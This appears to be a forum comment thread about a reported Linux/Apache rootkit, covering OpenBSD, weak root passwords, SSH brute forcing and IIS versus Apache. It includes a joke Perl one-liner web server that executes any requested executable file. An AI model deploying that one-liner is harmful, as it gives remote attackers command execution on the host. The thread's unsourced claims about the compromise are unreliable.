Because I use it for gateway/edge machines, I don't build the ports tree or use any software that's not part of the official system. This is pretty limiting and definitely not something you'd want to do if you were using it as a workstation. (OpenBSD has two kinds of software: officially-supported stuff, where somebody has combed through the code and generally locked it all down, and unsupported/unofficial 'ports,' which are installed slightly differently and haven't necessarily received the same level of attention.) There's definitely enough officially-supported OpenBSD software to run a basic server (mail/web/DNS) without going to ports, but you may not have the level of choice you're used to in, say, Debian Stable.
In fact although there are lots of people out there who run OpenBSD as a workstation OS, I'm not really sure why you'd want to (instead of one of the BSDs that's geared more towards that as a primary function). I could see the security benefits potentially coming into play if it was a laptop, and the code is very clean with an emphasis on technical 'correctness' (so it might be a good OS to run if you want to really understand what's going on inside your computer), but there are other options which are equally or more attractive for a pure desktop system. That's just my gut feeling; I'm sure there are other people who'd say differently and I certainly wouldn't argue with them.
Personally, I run either Mac OS X or Debian on my workstation/firewalled PCs. The Macs are mostly just out of inertia and the Debian machines are because I like apt-get. While there's no doubt in my mind that OpenBSD is the more technically correct, better designed, better documented, and less defect-prone system, it's not quite enough for me to switch over my day-to-day PCs. I am, I suppose, proof of my own assertion in my earlier comment.
The BSDs are pretty fascinating, and I think if I were starting with a clean slate today, without all the legacy applications and data and personal biases that I have, I'd probably look very seriously at one of the desktop BSD distros. Particularly if you're a student, there's something to be said for using a system that at least plays lip service to doing things 'right.'
One note regarding OpenBSD: if you do decide to play with it, you may want to avoid 4.2 and opt for 4.1 instead; 4.2 requires that you install X11 in order to run many packages that should not require X11 (server software), because of some dependency issues. This is supposed to be corrected in 4.3. Of course, if you're creating a workstation OS and plan to install X11 anyway, this is a moot point, but it's something to note if you're going to play with it on a server or headless box using the CLI first (which isn't a bad thing to do).
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
Kind of. But when running proprietary software you just have to live with uncertainty and doubt.
"When I first heard Daydream Nation it quite frankly scared the living shit out of me." -- Matthew Stearns
OK, just so we're clear on this, Windows is insecure because Quicktime and Yahoo Messenger have vulnerabilities that allow a remote attacker to run software on the computer?
Good, just checking.
dom
Linux desktop users most certainly can be infected with this rootkit. We've seen 4 machines with it so far- 1 server and 3 desktops. The Apache webserver may be being used to infect windows clients with malware, but it is not the point of entry for the rootkit installation.
USE HOT GRITS WITH STATUE OF NATALIE PORTMAN (NAKED AND PETRIFIED)
Both the above and grandparent have a point. Remote management GUI's are potential targets - but users need GUI's.
Administration work should really most safely be done through a monitor and keyboard plugged directly into the server, and any gui-like access/interface should only exist on the administrator's computer. Yet would it still be safe to manage a computer ~remotely~ if the gui existed only on the administrator computer?
This would mean setting up ~minimal~ GUI's for those web-users - meaning mail access, (sub)domain management, etc. - a lot of work for someone.
No, no sig. Really.
ThePromenader
I auto block any IP trying to log in as root so I like ssh probes, keep 'em coming, ta.
There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
The Microsoft Ad Campaign denouncing the evils of open source or the Linux Patch fixing the problem?
Genesis 1:32 And God typed
Another thing I've seen mentioned is that the majority of compromised hosts seem to be in hosting companies.
I wonder how many hosting companies always configure customer systems with the same root password per default? Because I'll bet there's at least a handful. And of those, a number of customers probably don't bother to change the root password - particularly if it seems like a reasonably secure password.
Of course, the password is drastically less secure if it happens to be the same for 40% of the hosts in a particular IP block - because you only need one idiot admin and then everyone's compromised.
In the article they are speculating that the vector may have been a root password compromise. There are several ways of getting at this, it could be a weak password, it could be a brute force attack against an obtained password file, it could be social engineering.
You'd be surprised how many weak root passwords there are out there, my home machine was recently the victim of a dictionary attack (my own stupid fault - weak password on a seldom used account got compromised). They did not get root, I've run forensics on the compromised disk however it was still used to scan other machines for ssh access. I found and stopped it within 12 hours, but in that time it had found over 30 machines it could SSH into including one with the root password 'root'.
There is no technical solution to poor administration, a well maintained Windows system will be more secure than a poorly maintained Linux system.
If you don't like the quality of free (as in beer) software that you can do everything you want with, just switch to some proprietary product and stop whining OR start contributing to the projects you complain about. It's not like you are forced to use that stuff.
I read else where that the passwords to the Apache servers were stolen: Hardly a vulnerability, just careless by somebody. The vulnerable machines are the Windows boxes that are getting attacked successfully. Same old story, really.
On the other hand, turning Windows clients into bots *IS* an example of that software's (and QuickTime's and Yahoo! Messenger's) insecurity and vulnerability! Using a legitimate password is not equal to cracking the server. But it must be made to look so because the PR firms the M$ movement uses must cast aspersions on Apache and Linux so as to draw attention away from the actual insecure and vulnerable system. Most PHBs never read past the headlines, so this is major spin for the M$ party.
Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.
While SSH allows for direct neural link that allows the computer to do exactly what you think, thus bypassing the metaphors and concepts entirely? Man, I thought SSH didn't do that by default, at least not on my Linux systems; it just provided a secure connection to whatever user interface the system provided. So, where can I download DO-WHAT-I-MEAN-OSIX 2.0? =)
Command lines are a metaphor. Yes, incidentally well suited for system administration, but a metaphor nevertheless. =)
The license covers contributors asses, hence the wording. I'd not like somebody mounting a class action because of a stupid mistake that can be interpreted as mischief (for example, if I leave my domain as a log target in a production app, then whatever tests will pass, I'll be satisfied, commit the changes, and will have effectively inserted something that in court can be defined spyware. Do you trust judges to understand your position?)
I agree it doesn't sound particularly good for the customers. But then, even debian first thing is guarantee disclaimer which sounds terrible. Once you try out the distro on supported hardware you quickly change idea.
---- MISSING MISCELLANEOUS DATA SEGMENT --- [sigdash] trolololol
Not exactly hole after hole, but there was one remote vulnerability midway through 2006. See the Secunia advisories.
Comment removed based on user account deletion
Not yet....but good point.....im off to patent a lock which beeps if you leave your keys in it for longer than a preset time interval.
I have discovered a truly remarkable sig which this post is too small to contain.
Well, the mono-culture also makes development costs lower, although its not really a mono-culture either. IIS is not the same on Win2k Server as it is in 2k3, or 2k8. Most of the recent exploits are also configuration problems, much like using a weak password.
Mono-cultures do provide benefits as well as risks, just like everything else.
Thanks for the validation. Next time I'll do a petrified natalie portman with hot grits.
bless() you...whoever you are.
"Beware of bugs in the above code; I have only proved it correct, not tried it." -- Donald Knuth
Mr Gates, don't get mad, it's just a comment!
Check out my blog!
Does anyone have proof that root was achieved through an Apache exploit?
Who are "we" and what the Hell are you talking about? The article doesn't even mention a particular vulnerability, and you already identified it on four boxes (I assume under your control, because seeing a random server on the internet with malware on it is hardly a notable occurrence)?
Contrary to the popular belief, there indeed is no God.
I'm not sure why this is marked funny, it's technically true. There was ONE remote hole if you have ASP turned on (fairly common) and one with the admin page (stupid to turn on). That's since 2003, I'm sure Apache has had at least that many in the same timeframe (not sure since I don't herd Apache servers). IIS was a joke before Windows 2003/IIS6 but MS really learned their lesson and did it right this time.
There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
I don't think mapping group ID directly to port is a good idea. For one thing, it's not generally extensible to other numeric domains. You should map permissions on an object visible in the file system to access to the port. Ideally, this would be handled by replacing crazy overlaid in_addr objects with filenames.
/net/tcp/listen/* would provide access control. Similarly, to make an outgoing connection, you'd call 'sock = open("/net/tcp/connect/10.0.0.2/25", O_RDWR);'. You wouldn't need to modify your code to connect to IPV6 or even OSI TP4/CONS or DEC LAT ports... or UNIX domain sockets... or named pipes...
That is, instead of calling socket and bind and so on, you'd call 'sock = open("/net/tcp/listen/25", O_RDWR)'. Normal file system protection on
The whole Berkeley Socket design is second only to System V IPC in terms of missing the whole point of UNIX.
--
And then he handed me a bill for 1 hours' work... wish I could get away with that
The last time I wrote code, it was Morse
Slow as compared to what? A webpage with tonnes of javascript? Hardly. X11 will certainly work better than some web based crap. Obviously if the programmer would write remote admin tools to work over the internet in the first place, it would work worlds better, but apparenly no one is interested in doing that...
Then again, I blame MS, since they want to make it so everyone has to pay some guy $50(US) for a simple program any second semester CS student could write, just because the guy took some MCSE classes and paid thousands of $$$ just for the rights to link to some library, and soon they'll probably have to pay thousands for a key too. And of course no one in the MS world will accept downloading Python or Java, so non-MS solutions for Windows users is "unacceptable". Not to mention Microsoft's poor design practices make it so everyone is afraid to download anything which may be called a program. Don't forget their tactics made everyone think there can be no such thing as standard protocols. Wonderful. Parasitic business models make everything work so well.
OMG!!!!!!
I would never even remotely entertain the notion of something like that. I mean it just LOOKS suicidal!
Thanks for the reply.
Hey KID! Yeah you, get the fuck off my lawn!
Wow! As I replied to the other person who replied back to my question, that looks suicidal. I cannot for the life of me see any reason to pull scripts from a remote machine. I have seen a lot of JS pulled from remote machines and even that makes me really scratch my head and wonder what those people are thinking. I would seem you are asking for one huge ass heap of trouble doing anything like that. I use the include statement quite often but its always to a directory outside the webroot, and very specific permissions limit that directory to RO. Yikes, it looks like a combination of lazy / clueless.
Hey KID! Yeah you, get the fuck off my lawn!
I use perl -MIO::All -e 'io(":80")->fork->accept->(sub { $_[0] < io(-x $1 ? "./$1 |" : $1) if /^GET \/(.*) / })'
as my webserver you insensitive clod!
(I ripped it from the IO::All documentation. That's gotta be secure, right?)
Comment removed based on user account deletion
System security aside, the idea that 90% of users don't give a shit, and that's okay, is the whole problem here.
But users who do care don't use MSWindows.
And you, who expect another 15 years of "satisfaction" don't seem to understand why.
situation normal, all fouled up, business as usual, let's make some more money.
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
I'm with you on software liability, iff Micro$oft leads the list of liable entities.
Because, in fact, they do. They pushed the internet to the public before it was ready. Everybody else who did that understood the dangers pretty soon and backed off. Bill and Steve picked up the ball and run. Didn't seem to realize they were running towards the wrong goalposts, maybe, or maybe they just knew the fan club of the opposing team was willing to reward them richly.
Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
Ah, careful with the terminology there. Brownware is an already established term.
i ate crayons when i was a kid and now i have two braincells and the blue ones taste nicer
Yeah, well, when it's likely the reporters are deeply biased please excuse us if the knee-jerk reaction is to cry "FUD!"
Most of today's security companies have a business model that can only be called parasitic. They depend on the deeply flawed way of thinking pushed by the ubiquitous Windows operating systems. You know which: default allow, blacklisting, turd polishing etc. More here.
It is damn obvious that these security companies have all the interest in trying to sell anti-malware products to platforms such as Mac and UNIX/Linux, even though their security approach is very different ("by design" instead of "trial and error") which makes such products mostly redundant. Not to mention the efforts of the likes of Microsoft to discredit these competing platforms.
I haven't seen a single shred of evidence so far in this story. The whole thing is basically a hoax so far. "Yeah there's something out there but nobody has evidence and there's no common denominator." If that's not FUD I don't know what is.
i ate crayons when i was a kid and now i have two braincells and the blue ones taste nicer
i ate crayons when i was a kid and now i have two braincells and the blue ones taste nicer
Which brings us to a much more pertinent question: have those targeted vulnerabilities (in Quick Time, Messenger etc.) been fixed? Is the fix available?
i ate crayons when i was a kid and now i have two braincells and the blue ones taste nicer
The Answer
SIGSEGV caught, terminating
wait... not that kind of sig.
Forget world peace, bring on -1 pointless
once upon a time I was the webmaster for poiuyt.com and it's amazing how many lost passwords went to qwerty@poiuyt.com!
Apocalypse Cancelled, Sorry, No Ticket Refunds
Fair point ;)
:p
There was a provisional Mind Control command (mc) in an early manual I read, however I couldn't get it to work
"Linux is for noobs"-The new MS fud strategy
I can't seem to find any mentions of someone figuring out exactly what this exploit/problem/etc. is. Seems really weird. I mean, *someone* has to have an infected machine that can be looked at. And what about SysAdmins doing something to at least perform post-compromise analysis? Even my *personal* webserver logs over syslog-ng to an append-only filesystem, and Bacula runs nightly MD5sums of pretty much the whole FS (not to mention remotely downloading the bacula binary every night and MD5summing that). At the very least, someone should be able to verify the technical details.
Something here reeks of FUD....
"GUIs provide metaphors for users, they have no place in administration." - GREAT quote.
And as to IIS/Apache/whatever else... telling people to use IIS when a problem is found that may involve Apache is as stupid as telling IIS people to use Apache when (another) IIS bug is found. Software is buggy. When the likes of Amazon, Google, etc. use Apache (or base their servers on it), I think it can be considered stable enough for production use. All software has flaws. That's a fact of life. Telling people to use a different package becaause of one bug is as narrow-minded as telling people to sell their Hondas/Fords/Chevys/Toyotas because you saw one in the shop.